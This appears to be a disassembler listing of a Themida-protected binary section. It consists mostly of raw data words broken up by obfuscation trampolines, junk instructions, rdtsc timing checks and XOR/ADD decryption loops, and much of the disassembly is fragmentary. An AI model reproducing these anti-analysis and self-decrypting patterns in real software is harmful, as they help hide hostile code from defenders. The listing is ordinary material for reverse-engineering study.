		dd 8371CF80h, 150065BDh, 840F0006h, 37h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 16h, 21C35545h, 8F0F9B24h
		dd 6, 4B98D09h,	50960615h, 0BC1274BFh, 0F8BF9623h, 0FF59ED46h
		dd 18BF99B5h, 5CC78106h, 0FF78038Eh, 15043995h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 44535A6Ch, 11E9h, 94E91800h,	44DC25B4h, 35F156F8h, 0E1E08F6Dh
		dd 0BD8BDB81h, 615144Dh, 0BF99B5FFh, 6A0618h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 8D0F04C3h
		dd 3, 0FFD4F780h, 150DCD95h, 0D98B6606h, 285DBD83h, 0F020615h
		dd 3284h, 12E900h, 0A25C0000h, 3CEABC68h, 0C6281D3Dh, 0B46A6D1Eh
		dd 3B69CB23h, 2849858Bh, 0DE90615h, 0C5000000h,	0E431D1C6h
		dd 3E41353Dh, 706DBC21h, 0C70000C6h, 1523F585h,	6, 0DBB70F00h
		dd 0FFF39FE9h, 57006AFFh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 5A73E43Fh, 81C50970h
		dd 61DD4AF7h, 0FC18B32h, 682h, 11B58900h, 8D061511h, 15279D85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 28758B56h, 0C9D18EEEh, 0F19D891Eh, 0BF061517h
		dd 4D0F2B17h, 0DE96050h, 7C000000h, 0B22849F2h,	0DEAB2ED5h
		dd 52C1EE25h, 7D97BF60h, 5E5378E7h, 4896161h, 6A006A24h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 40ECC352h, 0C517AAA6h, 0FFD1AC5Bh, 858950F8h
		dd 61506A9h, 6A006A5Bh,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 8DB3C356h, 26A3AB39h
		dd 0F5745195h, 83E4858Dh, 6A0619h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0A08F2DC3h, 0BB4C8AF9h
		dd 26659D8Bh, 0C0830615h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0F4563520h
		dd 60F9D6A6h, 2C8D8D8Bh, 8D8B0615h, 615010Dh, 8B665061h
		dd 240489DAh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	2FC35545h, 2EDCF01h, 0B3006ACDh, 6A006AB8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 6A6FC350h, 95FF943Eh, 6152679h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 4DC35141h, 0CFDD88EDh, 13E9E9h
		dd 65840000h, 0C5E47935h, 1DCF310Ah, 4FF78A32h,	0E8820855h
		dd 2D9D8B6Fh, 8D06150Ch, 189C158Dh, 0C3816606h,	0D1FF805Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A3C35242h
		dd 468D6EF7h, 0BE9023Ah, 0EE000000h, 773A5DECh,	1ADD752Eh
		dd 0BD8307A3h, 6152DB5h, 6C850F01h, 0F5000000h,	8960026Ah
		dd 15130D85h, 8D06BE06h, 506123A2h, 0FE9h, 1985CC00h, 160696AEh
		dd 9BE51318h, 892C7495h, 6A240489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 7BBEC352h
		dd 4D95FFFBh, 6A06151Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 818BC356h, 0E9FFFD5Dh
		dd 0C6Eh
; ---------------------------------------------------------------------------


loc_5C1E18:				; DATA XREF: Themida_:0057B7BCo
		call	$+5
		pop	ebp
		sub	ebp, 61983EEh
		mov	[ebp+6151D8Dh],	ebx
		push	0
		push	ebp
		call	sub_5C1E35
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1E35	proc near		; CODE XREF: Themida_:005C1E2Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5C1E35	endp

; ---------------------------------------------------------------------------
		db 26h,	0BBh, 0Bh
; ---------------------------------------------------------------------------
		inc	ebp
		adc	eax, 0F9858D22h
		mov	[eax], bl
		push	es
		push	edi
		clc
		pop	edi
		push	eax
		mov	bl, 0C0h
		mov	[esp], eax
		push	0
		push	edx
		call	sub_5C1E65
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1E65	proc near		; CODE XREF: Themida_:005C1E5Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5C1E65	endp

; ---------------------------------------------------------------------------
		db 55h,	0E1h, 5Ch
; ---------------------------------------------------------------------------
		mov	ebx, esi
		push	large dword ptr	fs:0
		push	0
		push	ecx
		call	sub_5C1E8C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1E8C	proc near		; CODE XREF: Themida_:005C1E84p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5C1E8C	endp

; ---------------------------------------------------------------------------
		dd 0CF66F496h, 64364978h, 2589h, 0B70F0000h, 3585FFDBh
		dd 6A061515h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 6337C357h, 89079735h, 150569BDh
		dd 0FFFF6A06h, 152D19B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 95FF1135h
		dd 61508BDh, 12BE9h, 5100B000h,	292541BFh, 0BD8B5F64h
		dd 6152AA1h, 850970E6h,	61525C1h, 8B6671E4h, 0F613CDAh
		dd 10783h, 0B5295300h, 61510A9h, 0C8B60F5Bh, 6BAF9h, 0AE80000h
		dd 9E000000h, 7218BFF0h, 4CCB185Eh, 3EB810Ah, 5B21AC4Ch
		dd 0BD8BC18Bh, 6151291h, 14219D8Bh, 0E8C10615h,	8D9D8B04h
		dd 66061530h, 0D98BE2F7h, 9D8BC82Bh, 6150AA9h, 0FE9D18Bh
		dd 81000000h, 0AD48E5EEh, 0B6C30FFDh, 8E33DF3Dh, 0E9D0BCh
		dd 8B000000h, 15059D85h, 0E99D8B06h, 83061523h,	958907C0h
		dd 6152E05h, 6800F56h, 8B000000h, 150AA1BDh, 0C0835F06h
		dd 6810F00h, 89000000h,	1504A1BDh, 0FD03B06h, 0B83h, 61E9F500h
		dd 0BB000000h, 2C5EA7F7h, 27158D8Bh, 89500615h,	152A859Dh
		dd 0E1835F06h, 45840F01h, 0E9000000h, 0Fh, 54839CE3h, 15D734FFh
		dd 380AB2C7h, 83114463h, 152715A5h, 9D0BFE06h, 6152AC9h
		dd 59D9589h, 14E90615h,	73000000h, 0B140837h, 340A06B2h
		dd 0F88F75F0h, 0C9FE13FBh, 0E9E1355Dh, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6190BCCh]
		pusha
		mov	eax, [ebp+6151A59h]
		mov	ebx, [ebp+61526A5h]
		popa
		push	0
		mov	[ebp+6151A6Dh],	edi
		call	dword ptr [ebp+6152E21h]
		push	0
		push	eax
		call	sub_5C2061
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2061	proc near		; CODE XREF: Themida_:005C2059p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C2061	endp

; ---------------------------------------------------------------------------
		db 31h,	12h, 82h
		dd 57C0219Ah, 0F99F4943h, 89DB9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0CE78BEF9h
		dd 0A1B589D3h, 83061507h, 0FC8AFCE1h, 0F5B589FCh, 2B061510h
		dd 759529C0h, 0BA061502h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5C20CB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C20CB	proc near		; CODE XREF: Themida_:005C20C3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5C20CB	endp

; ---------------------------------------------------------------------------
		db 46h
		dd 5F59ED84h, 0E15D5DA1h, 0BE860D4h, 9B000000h,	782AC62Ch
		dd 982E301Ah, 59FC8DADh, 2EC5F4B9h, 33AD6132h, 3E8D1C2h
		dd 4E983D0h, 10E9F475h,	0E7000000h, 0AA05E64Ch,	0DFBB4B74h
		dd 4EFC1321h, 9BC59B8h,	1518E595h, 880D06h, 0CE90000h
		dd 61000000h, 2B3AD99Ch, 641B84A4h, 607A5A9Dh, 7A0FD781h
		dd 95893974h, 61522D9h,	21958B61h, 6A061527h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 700DC351h, 91DC4082h, 8D8B70E6h, 61504CDh, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 66674CC3h
		dd 168C0Fh, 11E90000h, 39000000h, 938B8494h, 56B77ADCh
		dd 1756D606h, 72A28EE1h, 52DBD8Bh, 0BB660615h, 0BD839F75h
		dd 61518A9h, 58840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 2A64C353h
		dd 0C7044A6Eh, 24DB81CBh, 0B804B553h, 0
; ---------------------------------------------------------------------------
		mov	ebx, 4B149C88h
		lea	ecx, [ebp+6154F9Eh]
		xor	edi, [ebp+6152A4Dh]
		mov	edi, [ebp+6152FD9h]
		jmp	ecx
; ---------------------------------------------------------------------------
		jmp	loc_5C2233
; ---------------------------------------------------------------------------
		dw 0D268h
		dd 10E40EE9h, 0C0C7033Ch
		db 7Dh,	92h, 5
; ---------------------------------------------------------------------------


loc_5C2233:				; CODE XREF: Themida_:005C2221j
		cmp	dword ptr [ebp+6151115h], 0
		jz	loc_5C2671
		push	edx
		jmp	loc_5C2254
; ---------------------------------------------------------------------------
		dw 0CC09h
		dd 8AA3AF12h, 0E4AC205Eh, 3C8F790Eh
; ---------------------------------------------------------------------------


loc_5C2254:				; CODE XREF: Themida_:005C2241j
		pop	ebx
		mov	ebx, 7C563BCBh
		cmp	dword ptr [ebp+6151115h], 1
		jz	loc_5C268C
		mov	[ebp+6153475h],	ecx
		mov	di, 9AE8h
		cmp	dword ptr [ebp+6151115h], 3
		jbe	loc_5C2656
		sub	[ebp+6151031h],	esi
		pusha
		push	0
		push	edi
		call	sub_5C2290
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2290	proc near		; CODE XREF: Themida_:005C2288p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5C2290	endp

; ---------------------------------------------------------------------------
		dd 77AD4AE1h, 8C66427Bh, 14E9D9h, 287F0000h, 3EF09798h
		dd 0C354A742h, 12903125h, 0D242EBEBh, 0E1807ECBh, 56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0CD7B983Ch, 840FC90Ah, 0F9h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0F7C35747h,	53EFD354h, 97BF660Bh
		dd 9D858B93h, 0F061524h, 8Fh, 33FA8B00h, 1519B585h, 0DA8B9006h
		dd 0B8666050h, 8B66850Ch, 0F9061F1h, 6AFABFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A5C35646h, 813F8D91h
		dd 8BD2F689h, 150C6DBDh, 85D86806h, 348168C8h, 0D7862724h
		dd 0C820F68h, 0F000000h, 68Ah, 0F5858900h, 0FF061518h
		dd 150DAD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 89678CC5h, 152C758Dh, 99858906h
		dd 8A0618BFh, 239E9DCh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 6E8409C3h, 5B9030BCh
		dd 819D8B89h, 8B061512h, 151005BDh, 91858B06h, 6A0618BFh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0A9A3C356h, 698D8944h, 23061503h,	1533D19Dh
		dd 1800C706h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 34FC356h, 762ABC28h
		dd 0B58BEF6Fh, 618BF95h, 0EE9h,	0F514F200h, 8380DECCh
		dd 9FA15158h, 8B05841Eh, 150C4585h, 25B52906h, 89061523h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 76D30D94h, 8B102966h, 68B0FD9h, 31000000h
		dd 1526358Dh, 9D858B06h, 60061524h, 0DE9h, 977ABC00h, 5B7821A2h
		dd 67D38CD1h, 61FC3DB7h, 6A044689h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 28E3C355h
		dd 49DEA71Ch, 6650962Ch, 505BDF8Bh, 8C0Fh, 6A960000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0D315C355h, 544B8F5Eh, 0BD8B1BC7h, 6152555h,	0BF91B5FFh
		dd 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0B6C4E8C3h, 13E9B8h, 0F4C60000h, 0FBAE64D6h
		dd 0D2035939h, 0D5F975E2h, 1A83FA23h, 0E2A76849h, 14E864B8h
		dd 70000000h, 53EC24D4h, 0C207E36h, 17E6FEA6h, 7E265A71h
		dd 51E97990h, 5F5BDA8Bh, 58243481h, 6A64A7E1h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 6F73C353h, 0BF99858Dh, 9D290618h, 61516F1h, 10E890h
		dd 7AAA0000h, 72E78175h, 6F5DABC3h, 544538CCh, 52500629h
		dd 585A310Fh, 860F505Fh, 1Ch, 8D0F5250h, 0
		dd 0AE8310Fh, 10000000h, 51FEEB17h, 0DAFAA8AFh,	585A5F00h
		dd 1DC78190h, 0FF0B9647h, 150DAD95h, 0A1BD8906h, 61061512h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0A3C35242h
		dd 9D8B4609h, 615166Dh,	111585C7h, 30615h, 83FC0000h, 18BF99BDh
		dd 840F0006h, 2Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 2DC35141h, 2A806F81h,	1FE9F9h, 8B660000h
; ---------------------------------------------------------------------------
		fdivrp	st(5), st


loc_5C2656:				; CODE XREF: Themida_:005C2278j
					; Themida_:005C266Dj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C2656
		jmp	short loc_5C26A7
; ---------------------------------------------------------------------------


loc_5C2671:				; CODE XREF: Themida_:005C223Aj
					; Themida_:005C2688j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C2671
		jmp	short loc_5C26A7
; ---------------------------------------------------------------------------


loc_5C268C:				; CODE XREF: Themida_:005C2261j
					; Themida_:005C26A3j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5C268C
		jmp	short $+2


loc_5C26A7:				; CODE XREF: Themida_:005C266Fj
					; Themida_:005C268Aj
		mov	eax, eax
		mov	[ebp+61515DDh],	ebx
		sub	[ebp+61512BDh],	ecx
		cmp	dword ptr [ebp+6151115h], 3
		jnz	loc_5C2A6F
		mov	bl, 0A0h
		cmp	dword ptr [ebp+618BF99h], 0
		jz	loc_5C2A6F
		push	0
		push	ebp
		call	sub_5C26DC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C26DC	proc near		; CODE XREF: Themida_:005C26D4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5C26DC	endp

; ---------------------------------------------------------------------------
		dd 0E09A5B2Bh, 0BF99B5FFh, 6A0618h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 521FDCC3h
		dd 5FE58F18h, 0BB66FB5Dh, 95FF383Ch, 61510E1h, 9C2ABF66h
		dd 0BF8DB58Bh, 6A0618h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0B6ECD9C3h, 0BC0DC5BFh, 106C742h
		dd 89000100h, 15269D8Dh, 34895006h, 0D9BD8B24h,	0FF06151Ch
		dd 18BF99B5h, 0B5BF6606h, 0A195FF79h, 89061506h, 15192185h
		dd 8DB58B06h, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 1C33C356h, 159938C0h
		dd 0BE9h, 0AE9AC100h, 5A67C091h, 0F50B0D3Ch, 59858Bh, 12E80615h
		dd 0F5000000h, 6112566Bh, 4275C5B1h, 0CB21276Ch, 849D9627h
		dd 0B70F6032h, 895B61CEh, 0C486h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0C78166ACh
		dd 958BBD0Dh, 6152721h,	6880Fh,	8D010000h, 61512D5h, 6A04C283h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 537FC350h, 0EE04D3DBh, 0A9BD8BF2h, 8906152Ah
		dd 0F3812050h, 76A31484h, 0D458858Dh, 6A0618h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8937BBC3h, 0B886h, 0E3816000h, 45CE2AFAh, 61DFBF0Fh
		dd 0BD03006Ah, 61520C1h, 26FDBD03h, 0B5FF0615h,	618BF99h
		dd 0A860BF66h, 1D4D95FFh, 9D890615h, 6150A8Dh, 8ABF6696h
		dd 820F5088h, 3, 96D98B66h, 599D8BFCh, 0FF061518h, 18BF99B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 268152DEh, 0FEB16ABh, 2995FFE1h,	6A061507h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 7E7CC355h, 65BD832Eh, 61500h, 32840Fh, 0B70F0000h
		dd 348950FBh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 427D973h,	5E973C2h, 8A000000h, 3A37452Dh
		dd 0BF99B5FFh, 6A0618h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 4FAF4EC3h, 0F16577Dh, 68Ah, 719D8900h
		dd 8B061503h, 151A059Dh, 3995FF06h, 6A061504h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 6702C352h, 0EDD9098Ch, 0F780659Ch, 99B5FFFCh, 6A0618BFh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 2FEBC353h, 0DAEF2475h, 0BFC92E63h, 7BD52440h
		dd 0DCD95FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0DA7DB8C3h, 31F8FB8Bh, 1522F18Dh
		dd 5DBD8306h, 2061528h,	45840Fh, 0BD8B0000h, 61520C1h
		dd 2849858Bh, 0BF0F0615h, 119589FFh, 0C6061523h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 37651EC3h, 0FB46AC5Ah, 0BF0FE251h, 61BD89D9h, 0C7061516h
		dd 1523F585h, 6, 0DE900h, 0EF5C0000h, 0FF6CFA22h, 0CDD826DCh
; ---------------------------------------------------------------------------
		sbb	esi, esp
		dec	eax


loc_5C2A6F:				; CODE XREF: Themida_:005C26BCj
					; Themida_:005C26CBj
		jmp	near ptr dword_5C1E9C+3Dh
; ---------------------------------------------------------------------------
		mov	bx, 8551h
		mov	eax, ecx
		jz	loc_5C2A86
		mov	[ebp+61518C5h],	esi


loc_5C2A86:				; CODE XREF: Themida_:005C2A7Aj
		lea	eax, [ebp+615279Dh]
		push	0
		push	esi
		call	sub_5C2A97
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2A97	proc near		; CODE XREF: Themida_:005C2A8Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5C2A97	endp

; ---------------------------------------------------------------------------
		db 78h
		db 90h
; ---------------------------------------------------------------------------
		jbe	loc_5C2AB1
		push	edx
		pop	ebx


loc_5C2AB1:				; CODE XREF: Themida_:005C2AA9j
		push	eax
		pusha
		pusha
		pusha
		popa
		jl	$+6
		popa
		popa
		nop
		mov	[ebp+6150A31h],	ebx
		push	0
		adc	ebx, 5A99FD07h
		push	0
		jmp	loc_5C2ADA
; ---------------------------------------------------------------------------
		dd 0F936D48Ah
		db 50h,	82h
; ---------------------------------------------------------------------------


loc_5C2ADA:				; CODE XREF: Themida_:005C2ACFj
		lea	eax, [ebp+6199257h]
		add	[ebp+61517F1h],	ebx
		add	eax, 5
		jmp	loc_5C2AF7
; ---------------------------------------------------------------------------
		dw 0C0B7h
		dd 44B7788Dh
		db 75h,	0ABh, 7Fh
; ---------------------------------------------------------------------------


loc_5C2AF7:				; CODE XREF: Themida_:005C2AE9j
		nop
		mov	ebx, 16659B55h
		push	eax
		push	eax
		push	edx
		mov	di, 753h
		rdtsc
		js	loc_5C2B18
		call	sub_5C2B17
		dec	esp
		push	0A6BA44B6h

; =============== S U B	R O U T	I N E =======================================



sub_5C2B17	proc near		; CODE XREF: Themida_:005C2B0Cp
		pop	edi


loc_5C2B18:				; CODE XREF: Themida_:005C2B06j
		pop	edx
		pop	eax
		nop
		push	0
		push	ebp
		call	sub_5C2B26
		and	[ebp-3Dh], bl
sub_5C2B17	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C2B26	proc near		; CODE XREF: sub_5C2B17+7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5C2B26	endp

; ---------------------------------------------------------------------------
		dw 79E7h
		dd 0F0A31DC6h, 8D0F8Ah,	66000000h, 0EFBD381h, 8166006Ah
		dd 6A22D6CBh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 4D5B04AEh, 9AE2A9D9h, 0B589DE81h
		dd 6152DD9h, 26119589h,	95FF0615h, 6152679h, 6870Fh, 0BD8B0000h
		dd 6151565h, 9C158D8Dh,	9D8B0618h, 6151989h, 6AD1FFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0FE8BACC3h, 4E9BD8Bh, 0BD830615h, 6152DB5h, 0B3850F01h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0B5A5C356h, 0F94B028Bh, 6A026Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0D1F010C3h, 2004BDBBh, 85295B12h, 6152E99h, 503AB790h
		dd 7E8h, 0AD8A1000h, 0D9B563B7h, 0C00AAABBh, 6A905F70h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0AB77C353h, 60608671h, 2341858Bh,	860F0615h
		dd 0
; ---------------------------------------------------------------------------
		popa
		jnp	loc_5C2C71
		jle	$+6


loc_5C2C71:				; CODE XREF: Themida_:005C2C65j
		popa
		call	dword ptr [ebp+6151D4Dh]
		pusha
		push	eax
		and	si, 3E4h
		pop	edx
		mov	esi, 6731286Dh
		popa
		jmp	loc_5C3A58
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 6199261h
		and	bl, 0E0h
		mov	ebx, 3F70C1B5h
		stc
		lea	eax, [ebp+61888F9h]
		push	0
		push	eax
		call	sub_5C2CB1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2CB1	proc near		; CODE XREF: Themida_:005C2CA9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5C2CB1	endp

; ---------------------------------------------------------------------------
		db 1Eh,	0E4h, 20h
; ---------------------------------------------------------------------------
		xor	cl, [ebx+153415BDh]
		push	es
		mov	[ebp+6150D11h],	ecx
		push	eax
		mov	[esp], eax
		push	0
		push	eax
		call	sub_5C2CE0
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2CE0	proc near		; CODE XREF: Themida_:005C2CD8p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5C2CE0	endp

; ---------------------------------------------------------------------------
		dd 0F88B0F4Dh, 35FF64h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0E4EFC357h
		dd 314F86E3h, 1503918Dh, 25896406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5C2D33
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2D33	proc near		; CODE XREF: Themida_:005C2D2Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5C2D33	endp

; ---------------------------------------------------------------------------
		db 6
		dd 3585FFB7h, 6A061515h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0E959C356h,	31B5AB1Bh
		dd 8D295C80h, 61518D9h,	0FE9FF6Ah, 4F000000h, 0EED9B8CEh
		dd 0F4673A6Dh, 402B2601h, 0BD2BE1AFh, 61500F1h,	10F1B5FFh
		dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 8EA6DCC3h, 0FF57A119h, 1508BD95h,	0FCE906h
		dd 81660000h, 0B0131DC7h, 68C0F00h, 3000000h, 150A2DBDh
		dd 6670E606h, 0E4C6B8BFh, 613CFC71h, 0D8830Fh, 0FF50000h
		dd 6BAC8B6h, 1000000h, 151D01B5h, 89C18B06h, 15169D9Dh
		dd 4E8C106h, 6DBD8Bh, 0F7660615h, 1BD89E2h, 2B061524h
		dd 0FDBD8BC8h, 8B061510h, 28B0FD1h, 60000000h, 0F58D8961h
		dd 0E9061518h, 6, 1DE5BD89h, 858B0615h,	6152C69h, 899D8B56h
		dd 5B061500h, 8B07C083h, 1511219Dh, 0C08306h, 830FD03Bh
		dd 15h,	1A618D89h, 5FE90615h, 0F000000h, 486h, 0AABB6600h
		dd 798D8B22h, 8B061510h, 150AA9BDh, 1E18306h, 40840Fh
		dd 0A5830000h, 6151079h, 14E8FEh, 0DC9A0000h, 0A8084BB3h
		dd 1924AFDDh, 0A86539EFh, 3C4B1770h, 6E84C8Ch, 65000000h
		dd 80BCDE50h, 5FFE8A31h, 6995895Bh, 8B06152Ch, 15182DBDh
		dd 0E906h, 0B58D0000h, 6191657h, 165D9D89h, 6A0615h, 12E8h
		dd 0DF82C900h, 59EE4D2Eh, 0C5152DDAh, 0E7F68451h, 0B75A2D11h
		dd 95FF5BFFh, 6152E21h,	0B9FEB70Fh, 836h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 71C35242h, 0EF273A2Dh
		dd 13E97907h, 6B000000h, 58164671h, 0AC76E9AAh,	71E17062h
		dd 3344F57Ch, 0BD01B8DDh, 6150CF5h, 0FCFCE183h,	0CE5BD89h
		dd 0E9FC0615h, 0Eh, 2ED5B228h, 0EE25DEABh, 0E8DA52C1h
		dd 0B8E9D7h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0DCCDC355h,	0DB80D22Bh
		dd 0C233ADB9h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0D60104FCh, 3BBBA7AFh, 6C99D8Bh, 6A0615h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 560746C3h
